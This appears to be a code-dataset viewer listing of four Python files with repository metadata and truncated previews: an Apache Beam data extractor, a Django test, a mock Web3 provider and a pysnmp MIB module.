8786e06a5aa7994263f127062fd9ca985eeb1f24 | 225,235 | py | Python | api/data_extractor__beam.py | sacontreras/fids-capstone-asl-translation | 4d26b986f06668d979478fcb5af7279ad0fc8fe9 | [
"W3C",
"DOC",
"Unlicense"
] | 1 | 2021-03-09T23:46:06.000Z | 2021-03-09T23:46:06.000Z | api/data_extractor__beam.py | sacontreras/fids-capstone-asl-translation | 4d26b986f06668d979478fcb5af7279ad0fc8fe9 | [
"W3C",
"DOC",
"Unlicense"
] | null | null | null | api/data_extractor__beam.py | sacontreras/fids-capstone-asl-translation | 4d26b986f06668d979478fcb5af7279ad0fc8fe9 | [
"W3C",
"DOC",
"Unlicense"
] | null | null | null | from __future__ import absolute_import
import base64
import io
import logging
import os
import random
import re
import sys
import time
import urllib
import zipfile
import apache_beam as beam
# import apache_beam.runners.interactive.interactive_beam as ib
import apache_beam.io.fileio
# from apache_beam.transforms.sql ... | 57.282553 | 390 | 0.747455 |
a759d67ec3c2072d95a2e1577e0fcb2fc6d321f6 | 907 | py | Python | django_g11n/tests/test_002_command_update_currencies.py | martinphellwig/django-g11n | 94eb9da7d7027061873cd44356fdf3378cdb3820 | [
"BSD-2-Clause"
] | null | null | null | django_g11n/tests/test_002_command_update_currencies.py | martinphellwig/django-g11n | 94eb9da7d7027061873cd44356fdf3378cdb3820 | [
"BSD-2-Clause"
] | null | null | null | django_g11n/tests/test_002_command_update_currencies.py | martinphellwig/django-g11n | 94eb9da7d7027061873cd44356fdf3378cdb3820 | [
"BSD-2-Clause"
] | null | null | null | "main testing module"
from django.test import TestCase
# Create your tests here.
class UpdateCurrenciesTestCase(TestCase):
"main test case"
# pylint: disable=missing-docstring, no-member, invalid-name
@classmethod
def setUpClass(cls):
returns = super(UpdateCurrenciesTestCase, cls).setUpClass()
... | 27.484848 | 67 | 0.689085 |
4359ee0e1268e300e9e555365eeff6709871acbc | 3,799 | py | Python | tests/mocks/web3provider.py | tmierzwa/Ethtx | 29d85873d9f13fd4ec6142bd11efb9f5642985df | [
"Apache-2.0"
] | 1 | 2021-08-02T00:40:38.000Z | 2021-08-02T00:40:38.000Z | tests/mocks/web3provider.py | tmierzwa/ethtx | 29d85873d9f13fd4ec6142bd11efb9f5642985df | [
"Apache-2.0"
] | null | null | null | tests/mocks/web3provider.py | tmierzwa/ethtx | 29d85873d9f13fd4ec6142bd11efb9f5642985df | [
"Apache-2.0"
] | null | null | null | from typing import Dict
from hexbytes import HexBytes
from ethtx.models.w3_model import W3Transaction, W3Receipt, W3Block, W3Log
from ethtx.utils.attr_dict import AttrDict
class MockWeb3Provider:
blocks = {
1: {
"difficulty": 123, # int
"extraData": "test", # HexBytes
... | 36.528846 | 108 | 0.493024 |
ab86ec2c367b74c273976c5a323677d58bd90fd7 | 10,010 | py | Python | pysnmp/HUAWEI-TDM-PSN-MIB.py | agustinhenze/mibs.snmplabs.com | 1fc5c07860542b89212f4c8ab807057d9a9206c7 | [
"Apache-2.0"
] | 11 | 2021-02-02T16:27:16.000Z | 2021-08-31T06:22:49.000Z | pysnmp/HUAWEI-TDM-PSN-MIB.py | agustinhenze/mibs.snmplabs.com | 1fc5c07860542b89212f4c8ab807057d9a9206c7 | [
"Apache-2.0"
] | 75 | 2021-02-24T17:30:31.000Z | 2021-12-08T00:01:18.000Z | pysnmp/HUAWEI-TDM-PSN-MIB.py | agustinhenze/mibs.snmplabs.com | 1fc5c07860542b89212f4c8ab807057d9a9206c7 | [
"Apache-2.0"
] | 10 | 2019-04-30T05:51:36.000Z | 2022-02-16T03:33:41.000Z | #
# PySNMP MIB module HUAWEI-TDM-PSN-MIB (http://snmplabs.com/pysmi)
# ASN.1 source file:///Users/davwang4/Dev/mibs.snmplabs.com/asn1/HUAWEI-TDM-PSN-MIB
# Produced by pysmi-0.3.4 at Mon Apr 29 19:37:21 2019
# On host DAVWANG4-M-1475 platform Darwin version 18.5.0 by user davwang4
# Using Python version 3.7.3 (default, ... | 126.708861 | 1,648 | 0.777522 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.